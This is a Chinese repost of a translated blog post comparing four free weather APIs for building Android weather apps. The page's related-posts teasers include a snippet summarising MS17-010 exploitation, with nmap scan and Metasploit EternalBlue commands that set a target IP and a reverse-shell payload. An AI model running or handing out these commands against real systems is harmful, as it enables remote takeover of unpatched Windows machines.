免费天气api适合商用吗_4个免费的天气提供商API开发天气应用

免费天气api适合商用吗_4个免费的天气提供商API开发天气应用免费天气 api 适合商用吗提供天气信息的 Android 应用在 Play 商店中很常见 此外 Weather 应用程序和小部件是下载次数最多的项目之一 当需要开发天气应用程序时 有必要使用天气提供程序作为天气信息的来源 这些天气提供程序公开了一组服务 换句话说 就是一组支持 RestFulWebse 的 API 这些服务大多数都接受 XML 或 JSON 数据 在根据我们的需求选择

免费天气api适合商用吗

提供天气信息的Android应用在Play商店中很常见。 此外,Weather应用程序和小部件是下载次数最多的项目之一。

当需要开发天气应用程序时 ,有必要使用天气提供程序作为天气信息的来源。 这些天气提供程序公开了一组服务,换句话说,就是一组支持RestFul Webservices的API。

这些服务大多数都接受XML或JSON数据。 在根据我们的需求选择合适的提供商之前,了解服务功能非常重要。

我在下面汇总了我使用和测试过的天气提供商列表。 如果其他开发人员想要开发Android Weather应用程序,则此列表很有用。

开放天气地图

这是我使用过的第一个提供程序,这是我的首选。 Openweathermap提供当前的天气信息和预报。 使用非常简单。 Openweathermap天气API使用JSON数据交换数据。

天气API返回当前天气天气预报 ,历史天气信息和气象站数据。 此外,它还具有紫外线指数数据。

我们如何获得选定位置的天气信息? Openweathermap提供两种不同的模式来查找城市。 一个使用名称模式,另一个使用地理坐标。

我基于Openweathermap开发了一个Android天气应用程序 ,您可以查看我的其他文章,以了解更多如何在Android中开发此应用程序。

所有这些API均可免费使用,您必须创建一个开发密钥,以便可以发出请求。

天气

雅虎! Weather是另一个很棒的天气提供者,即使它提供的信息少于Openweathermap,也非常易于使用。 使用Yahoo! 天气,该应用程序可以获取当前的天气信息和天气预报。 该API基于JSON或XML,因此开发人员可以选择要使用的API。

只要您将应用程序用于非商业用途,它就是一项免费服务。 阅读Yahoo! 天气政策了解更多。 如果您想在应用程序中使用此提供程序,则可以查看我的文章,其中描述了如何使用Yahoo!开发Android应用程序。 天气 。

地下天气

Weather Underground API是一个出色的天气提供程序,它提供许多API来获取许多信息。 地下天气API提供当前的天气和天气预报。 此外,您可以检索历史数据,飓风,天文学数据(如月球数据)等。

它还提供可以直接在智能手机上显示的雷达图像

要查找城市,可以使用名称模式,地理位置。

只要您不对许多请求提出要求,该服务都是免费的,因此,换句话说,如果您将其用作开发人员来测试API,则可以,否则必须付费。

预测

Forecast.io是另一个有趣的天气提供程序,它提供当前的天气信息,预报和每小时的天气详细信息。

值得一看,因为它非常易于使用,并且已经提供了一套针对不同语言的库。

最后,关于在Google地图等地图上显示天气情况的一些话。 我个人仅使用Openweathermap,并且添加贴图块非常容易。 如果您有兴趣,我写了一篇有关如何将天气信息添加到Google Map的文章

还有许多其他天气提供者,但其中大多数提供了付费服务,而我没有机会对其进行测试。

翻译自: https://www.javacodegeeks.com/2016/01/4-free-weather-providers-api-develop-weather-app.html

免费天气api适合商用吗

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/177206.html原文链接:https://javaforall.net

(0)
上一篇 2026年3月26日 下午8:03
下一篇 2026年3月26日 下午8:03


相关推荐

  • MS17010漏洞利用总结

    MS17010漏洞利用总结0x01常规打法扫描是否存在ms17-010漏洞:nmap-n-p445–scriptsmb-vuln-ms17-010192.168.1.0/24–openMSF常规漏洞利用:msf>useexploit/windows/smb/ms17_010_eternalbluemsf>setrhost192.168.1.112反向打:msf>setpayloadwindows/x64/meterpreter/reverse_tcpm

    2022年6月12日
    93
  • 超级P2P搜索引擎

    超级P2P搜索引擎
    搜索Google大家都用过吧?我们正是利用它强劲的搜索功能来突破封锁下载,Google搜索和限制下载有什么关系,没可能实现吧?不要不相信哦,往下看哦!

    http://www.google.com/intl/zh-CN/
    http://www.3721.com/
    http://www.baidu.com/

      首先打开Google,在关键词输入框中输入“indexof/“inurl:lib(双引号为英文状态下),选择“搜索简体中文

    2022年7月18日
    43
  • MySQL 基本操作命令

    MySQL 基本操作命令MySQL 一 启动与退出二 数据库操作一 启动与退出 1 启动 MySQL 服务 netstartMySQ 服务名 2 关闭 MySQL 服务 netstopMySQL 服务名 3 登录 MySQL 方式一 启动 MySQLCommand MySQL 的 DOS 界面 直接输入安装时的密码即可 此时的提示符是 mysql gt 方式二 打开 DOS 窗口 然后进入目录 E MySQL mysql 8 0 15 winx64 bin 输入如下命令 mysql

    2026年3月19日
    2
  • Qwen7b微调保姆级教程

    Qwen7b微调保姆级教程

    2026年3月13日
    2
  • python挖矿脚本代码_一个挖矿脚本

    python挖矿脚本代码_一个挖矿脚本遇到一台机器偶尔cpu使用率达到80%,触发告警。登录查看后一个sshd2程序导致cpu负载高仔细查看就知道和sshd是两个完全不同的进程,取名sshd2应该只是为了迷惑用户ps-ef查看到父进程是一个/tmp/javax/config.sh,这个文件在当前系统已经删除了,所以只能按照pid号通过lsof-pPID查看打开的文件句柄在/proc/PID/fd里面顺利找到执行脚本#!/bin…

    2022年7月13日
    26
  • python中类(class)

    python中类(class)"""面向过程和面向对象(oop:objectorientedprogramming)的基本概念面向过程:—侧重于怎么做?1.把完成某一个需求的所有步骤从头到尾逐步实现2.根据开发要求,将某些功能独立的代码封装成一个又一个函数3.最后完成的代码,就是顺序的调用不同的函数特点:1.注重步骤与过程,不注重职责分工2.如果需求复杂,代码会变得很复杂3.开发复杂项…

    2022年5月1日
    42

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号